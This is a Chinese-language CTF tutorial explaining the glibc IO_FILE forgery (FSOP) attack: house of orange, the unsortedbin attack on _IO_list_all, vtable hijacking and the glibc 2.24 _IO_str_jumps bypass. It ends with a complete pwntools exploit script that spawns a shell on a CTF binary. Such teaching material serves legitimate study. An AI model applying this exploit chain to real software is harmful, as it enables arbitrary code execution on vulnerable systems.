新手向——IO_file全流程淺析
前言
在當前CTF比賽中,“偽造IO_FILE”是pwn題里一種常見的利用方式,并且有時難度還不小。它的起源來自于Hitcon CTF 2016的house of orange,歷經兩年,這種類型題目不斷改善,越改越復雜,但核心不變,理解io流在程序中的走向,就能很好的迎接挑戰。然,網上雖資料不少,但是要么源碼過多,對初學者很不友好,要么單提解題思路,令人云里霧里,疑惑百出。而這些讓我催生出了這篇文章,若有不實不詳之處,希望各位師傅指點。
本文主要分為三個部分,首先簡單介紹下“偽造IO_FILE”的攻擊流程和思路,其次會利用幾道ctf題目來詳細講解攻擊原理,最后由glibc鏈接庫近年的變化做一個總結。爭取用最少的源碼做最好的解釋。
- 攻擊原理淺析
- pwn題講解
- 總結
攻擊原理淺析
在原始那道2016年的題目里,其實攻擊手段由兩部分組成,前用同名的堆利用house of orange技術來突破沒有free函數,后用偽造虛表的fsop技術來穿過多個函數來get shell。
什么是house of orange
House of Orange 的核心在于在沒有 free 函數的情況下得到一個釋放的堆塊 (unsorted bin)。
這種操作的原理簡單來說是當前堆的 top chunk 尺寸不足以滿足申請分配的大小的時候,原來的 top chunk 會被釋放并被置入 unsorted bin 中,通過這一點可以在沒有 free 函數情況下獲取到 unsorted bins。
1.創建第一個chunk,修改top_chunk的size,破壞_int_malloc
因為在sysmalloc中對這個值還要做校驗, top_chunk的size也不是隨意更改的:
(1)大于MINSIZE(一般為0X10)
(2)小于接下來申請chunk的大小 + MINSIZE
(3)prev inuse位設置為1
(4)old_top + oldsize的值是頁對齊的,即 (&old_top+old_size)&(0x1000-1) == 0
2.創建第二個chunk,觸發sysmalloc中的_int_free
就是如果申請大小>=mp_.mmap_threshold,就會mmap。我們只要申請不要過大,一般不會觸發這個。
本文就不展開講解house of orange技術,它的利用手段較簡單,CTF Wiki上關于它的講解也很詳細。

house of orange from CTFWiki
了解linux下常見的IO流
首先,要知道的是,linux環境下,文件結構體最全面的是 _IO_FILE_plus 結構體,所有的IO流結構都被它囊括其中。看它的一個定義引用:
extern struct _IO_FILE_plus *_IO_list_all;
_IO_list_all 是一個 _IO_FILE_plus 結構體定義的一個指針,它存在在符號表內,所以pwntools是可以搜索到的,接下來讓我們看看結構體內部。
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
結構體 _IO_FILE_plus ,它有兩部分組成。
在第一部分, *file* 在 Linux 系統的標準 IO 庫中是用于描述文件的結構,稱為文件流。*file* 結構在程序執行,*fread*、*fwrite* 等標準函數需要文件流指針來指引去調用虛表函數。 特殊地, *fopen* 等函數時會進行創建,并分配在堆中。我們常定義一個指向 *file* 結構的指針來接收這個返回值。
尤其要注意得是,_IO_list_all 并不是一個描述文件的結構,而是它指向了一個可以描述文件的結構體頭部,通常它指向 IO_2_1_stderr 。
各種結構體一齊出現,一開始我沒讀源碼,完全分不清
struct _IO_FILE {
int _flags; /* low-order is flags.*/
#define _IO_file_flags _flags
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;/*指向下一個file結構*/
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset;
[...]
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE //開始宏判斷(這段判斷結果為否,所以沒有定義_IO_FILE_complete,下面還是_IO_FILE)
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif //結束宏判斷
[...]
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
我把部分注釋和源碼去除,因為源碼還是有些晦澀,并且不能很好體現結構體所占size,這部分反而pwndbg卻很好調試。有些時候還是珍惜生命少看宏定義。笑
在第二部分,剛剛談到的虛表就是 _IO_jump_t 結構體,在此虛表中,有很多函數都調用其中的子函數,無論是關閉文件,還是報錯輸出等等,都有對應的字段,而這正是可以攻擊者可以被利用的突破口。
值得注意的是,在 _IO_list_all 結構體中,_IO_FILE 結構是完整嵌入其中,而 vtable 是一個虛表指針,它指向了 _IO_jump_t 結構體。一個是完整的,一個是指針,這點一定要切記。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
大師傅們肯定都能看懂了,但初學者可能讀起來還是有點累,我放一張圖來理解一下流程:

虛表劫持六步曲
先從流程圖來看看你是否對過程都明白,如果還是對某些地方存在疑問,那就和我一起來探討吧。

以上是攻擊代碼在系統內部的流轉過程,總共要經歷六步,而如何填充payload也是需要六步思考。
六步payload
能 IO_file attack 最最基本的是,堆區要能溢出,并且此溢出距離還不能太短。
創造unsortedbin
house of orange技術目的就是為了,把 old top_chunk 放進unsortedbin里。不過,如果程序能有free函數,第一步就自動達成了。
泄露地址
不管怎么樣,最早的 IO_file attack 必須泄露heap地址和libc地址,不然無法覆蓋地址時確定各個函數的關系。不過,在 libc2.24 發布后,因為多了 vtable_check 函數而難以任意地址布置虛表,反而讓人想出了新的利用說法,只用泄露libc地址即可,不知道算不算因禍得福。
篡改bk指針
這里利用的是 unsortedbin attack技術。注意不是unlink漏洞
從結果上來說,數據溢出至 unsortedbin 里chunk的bk指針,在此地址上填上 _IO_list_all-0x10 的地址就完事了。可為什么呢?
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
[...]
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);//攻擊開始函數
}
victim 指當前存在 unsortedbin 內chunk;
bck 很明顯是 _IO_list_all-0x10 的地址;
unsorted_chunks(av) 是arena的top塊,根據調試是 main_arena+88;
當程序再次執行時,IO_list_all-0x10 地址賦值給 main_arena+88 的bk處,而把 main_arena+88 的地址賦值給 _IO_list_all-0x10 的fd處,即是 _IO_list_all,將其篡改到 arena 中,等到函數調用時,就會從 _IO_2_1_stderr 改變去 arena 里。
當然,因為fd指針在這里毫無用處,所以可以寫入任意地址,但是它影響著unsortedbin鏈表的正確,如果之后還要利用bin,就要小心構造。
篡改freed chunk的頭部
從結果上來說,數據溢出至 unsortedbin 里chunk的頭部,在前地址上全填’x00’,后地址上填上0x61,也就完事了。可這也為什么呢?
/* place chunk in bin */
if (in_smallbin_range(size)) {
victim_index = smallbin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
[...]
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
上述代碼的大概含義是,檢查了unsortedbin里的chunk不符合新申請的大小,就會按size大小放入smallbin或者largebin中。而我們偽造的size大小是0x61,就會放入smallbin的第六個鏈表里,同時把 victim 的地址賦值給鏈表頭的bk處。此時,原chunk頭(victim)的地址填寫于 main_arena+88 的 0x60+0x18 的地址上,而file結構中的 _chain 指針也是位于結構中 0x78處。所以若是在 arena 里的file流要跳轉,就會跳轉到原chunk里。
*這里自認為是最精巧的攻擊技術,無法控制arena里的所有數據,那就篡改可以控制的,再跳轉到可控地址中
值得注意的是,由于之前把size設置為0x61,所以新申請無論什么size都會把這個chunk放進smallbin里。 另外,smallbin和fastbin有互相覆蓋的size大小,但是從unsortedbin里脫出時,只會掉進smallbin。
繞過fflush函數的檢查
接下來要填充偽造的file結構里的數據了。原本是可以任意填充,但為了繞過fflush函數的檢查,提供了兩種填充方法。
fp->_mode <= 0 fp->_IO_write_ptr > fp->_IO_write_base 或 _IO_vtable_offset (fp) == 0(無法變動) fp->_mode > 0 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base (技巧:_wide_data指向 fp-0x10 的地址,因為fp的read_end > read_ptr(可觀察下文調試))
部分 _IO_wide_data 結構體源碼,來理解偽造的原理
struct _IO_wide_data
{
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;//注意wchar和char的區別
wchar_t *_IO_write_base;//small
wchar_t *_IO_write_ptr;//big
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
[...]
};
所有的變量在file結構源碼里都有其位置地址,就不詳細寫偏移了。
由于邏輯短路原則,想要調用后面的_IO_OVERFLOW (fp, EOF),前面的條件只要滿足其一就可以了。
之外,這段函數代碼中也解釋了為什么構造了0x61后,文件流會跳轉的原因。
_IO_flush_all_lockp (int do_lock)
{
[...]
last_stamp = _IO_list_all_stamp;//第一個一定相等,所以跳轉
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
[...]
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//bypass或一條件
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))//bypass或二條件
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)//改 _IO_OVERFLOW 為 自填充地址函數來劫持程序流
[...]
if (last_stamp != _IO_list_all_stamp)
{
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;//指向下一個fp(從main_arena到heap)
}
[...]
}
虛表函數的位置
首先,file結構的 *vtable 指針要填寫偽造虛表的地址,這需要精確計算這也是為什么需要heap地址的原因。
其次,虛表的結構源碼上文描述過,簡單的做法就是,除了前兩個填寫0x0值外,其余都填寫要想跳轉的地址。
下面是一張完整的攻擊流程圖:

glibc2.24下的利用手段
在新版本的 glibc 中 (2.24),全新加入了針對 IO_FILE_plus 的 vtable 劫持的檢測措施,glibc 會在調用虛函數之前首先檢查 vtable 地址的合法性。
如果 vtable 是非法的,那么會引發 abort。
首先會驗證 vtable 是否位于_IO_vtable 段中,如果滿足條件就正常執行,否則會調用_IO_vtable_check 做進一步檢查。
這里的檢查使得以往使用 vtable 進行利用的技術很難實現
好,那我們先觀察一下,新的check函數:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();//引發報錯的函數
return vtable;
}
由于 vtable 必須要滿足 在 stop_libc_IO_vtables 和 start_libc_IO_vtables之間,而我們上文偽造的vtable不滿足這個條件。
然而攻擊者找到了 IO_str_jumps 和 IO_wstr_jumps 這兩個結構體 可以繞過check。其中,因為利用 IO_str_jumps 繞過更簡單,本文著重介紹它,IO_wstr_jumps與其大同小異。
觀察
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,//調試發現占0x10
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
[...]
};
其中其中 _IO_str_finsh 和 _IO_str_overflow 可以拿來利用.相對來說,函數 _IO_str_finish 的繞過和利用條件更簡單直接,該函數定義如下:
void _IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
所以,在原來的基礎上增加的是:
fp->_flags = 0 vtable = _IO_str_jumps - 0x8 //這樣調用_IO_overflow時會調用到 _IO_str_finish fp->_IO_buf_base = /bin/sh_addr fp+0xe8 = system_addr
同時,不用再偽造虛表,所以就可以不用泄露heap地址了。
而 _IO_str_overflow 會稍微復雜一些,該函數定義如下:
int _IO_str_overflow (_IO_FILE *fp, int c)
{
[...]
{
if (fp->_flags & _IO_USER_BUF) // not allowed
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
[...]
}
所以,它在原來的基礎上增加的是:
fp->_flags = 0 fp->_IO_buf_base = 0 fp->_IO_buf_end = (bin_sh_addr - 100) / 2 fp->_IO_buf_base = /bin/sh_addr fp+0xe8 = system_addr
其實這份源碼我讀的時候,有個疑問:
fp->_s._free_buffer 和 fp->_s._allocate_buffer 到底是指向了偏移多少的地址,網上找到的一個答案說用IDA看,尷尬的是IDA里顯示的是0xe0,這明顯不對。還是簡單點,動態調試一下就可以了。
其實,_IO_vtable_check 函數也不會立刻報錯,里面還會檢查 dl_open_hook 等函數來檢測是否是外來的文件流,從而取消報錯,而這里又是一個可以利用的點。~~emmm再補這篇文章可能太冗長了,下次寫~~
最后的一點注意
可以注意到,IO_file attack 的利用并不是百分百成功。凡事都有原因,我也想知道,但網上也搜索不到知識。最后感謝holing師傅,他幫我解決了這個疑問:
必須要libc的低32位地址為負時,攻擊才會成功。
噢,原來原因還是出在fflush函數的檢查里,它第二步才是跳轉,第一步的檢查,在arena里的偽造file結構中這兩個值,絕對值一定可以通過,那么就會直接執行虛表函數。所以只有為負時,才會check失效。再次感謝holing師傅。
最后,你會發現我雖然分了六步,但其實每一步都是緊緊相扣,如果到這里你已經忘了之前在講什么,不妨看看下面這道pwn題,或許有新的體會。
pwn題講解
這里采用的安恒2018.10的level1題,網上好像也沒有wp,我就心安理得地開始講解。
凡事都從打開IDA開始

可以看出程序只有create函數和show函數,典型的要使用house of orange技術,再配上點IO_file attack技術。

觀察show()函數,發現printf函數有格式化漏洞,但是由于read函數輸入時有截斷,導致無法使用unsortedbin里的數據來泄露。偏移泄露時,觀察到棧上只有libc里的地址,因只能泄露libc地址,考慮到使用2.24版本的攻擊模式。

我使用house of orange技術時,直接抄取原本top_chunk的后三位。

數據填充完成后,可以發現gdb里已經對freed chunk無法識別。

接著申請新chunk報錯時,觀察數據變化和上文是否一致。
_IO_list_all 里儲存的是main_arena+88的地址,而main_arena+88+0x18也儲存著_IO_list_all-0x10的地址。

可以清楚觀察到,arena里的偽造file結構的 *chain 確實指向了heap區偽造的chunk頭。而它 的絕對值比較上,確實可以成功判斷,從而有失敗的可能。

回到heap區,發現部分數據已經改變,若是采用第二種辦法,_wide_data 指向fp-0x10地址后,判斷也能成功。

最后,當libc低32位小于0x80000000(為正)時,就會攻擊失敗。

最后放上exp:
from pwn import *
p = process('./level1')
def create(size,stri):
p.recvuntil('exitn')
p.sendline('1')
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('string: ')
p.sendline(stri)
def show():
p.recvuntil('exitn')
p.sendline('2')
p.recvuntil('result: ')
resp = p.recv(14)
return resp
create(0x10,'%2$p')
libc = eval(show()[:14])-0x3c6780
log.info('libc: '+hex(libc))
sys = libc + 0x45390
sh = libc + 0x18cd57
one = libc + 0x45216
_IO_list_all = libc + 0x3c5520
#
create(0x10,'%8$p.%p.%p.%p.%p.%p.%p')
start = eval(show()[:14])-0x9b0
log.info('start: '+hex(start))
payload = 'a'*0x18+p64(0xfa1)
create(0x10,payload)
#gdb.attach(p)
create(0x1000,'a')
#unsortedbin
pay='e'*0x100
fake_file=p64(0)+p64(0x61) #fp ; to smallbin 0x60 (_chain)
fake_file+=p64(libc)+p64(_IO_list_all-0x10) #unsortedbin attack
fake_file+=p64(1)+p64(2) #_IO_write_base ; _IO_write_ptr
fake_file+=p64(0)+p64(sh)#_IO_buf_base=sh_addr
fake_file=fake_file.ljust(0xd8,'x00') #mode<=0
fake_file+=p64(libc+0x3c37a0-8)#vtable=_IO_str_jump-8
fake_file+=p64(0)
fake_file+=p64(sys)#fp+0xe8=sys_addr
pay+=fake_file
create(0x100,pay)
#if the lower 32 of libc is more than 0x80000000,attack is success
#gdb.attach(p)
p.recvuntil('exitn')
p.sendline('1')
p.recvuntil('size: ')
p.sendline('0x20')
p.interactive()
總結
來自 glibc 的 master 分支上的今年4月份的一次 commit,不出意外應該會出現在 libc-2.28 中。
該方法簡單粗暴,用操作堆的 malloc 和 free 替換掉原來在 _IO_str_fields 里的 _allocate_buffer
和 _free_buffer。由于不再使用偏移,就不能再利用 __libc_IO_vtables 上的 vtable
繞過檢查,于是上面的利用技術就都失效了。

年關將至,現在正是今年的最后日子,剛剛掌握并整理了這份文檔,我才發現開發者們已經比我快上近一年。而這種復雜又夢幻的攻擊方法,在現實環境下卻要用其他方法來輔助實現。但無論如何,通過這次學習,我學會了如何讀源碼,如何詢問他人,成功總是要先學會失敗。
參考資料
(1).https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#more
(2).https://ctf-wiki.github.io/ctf-wiki/pwn/readme/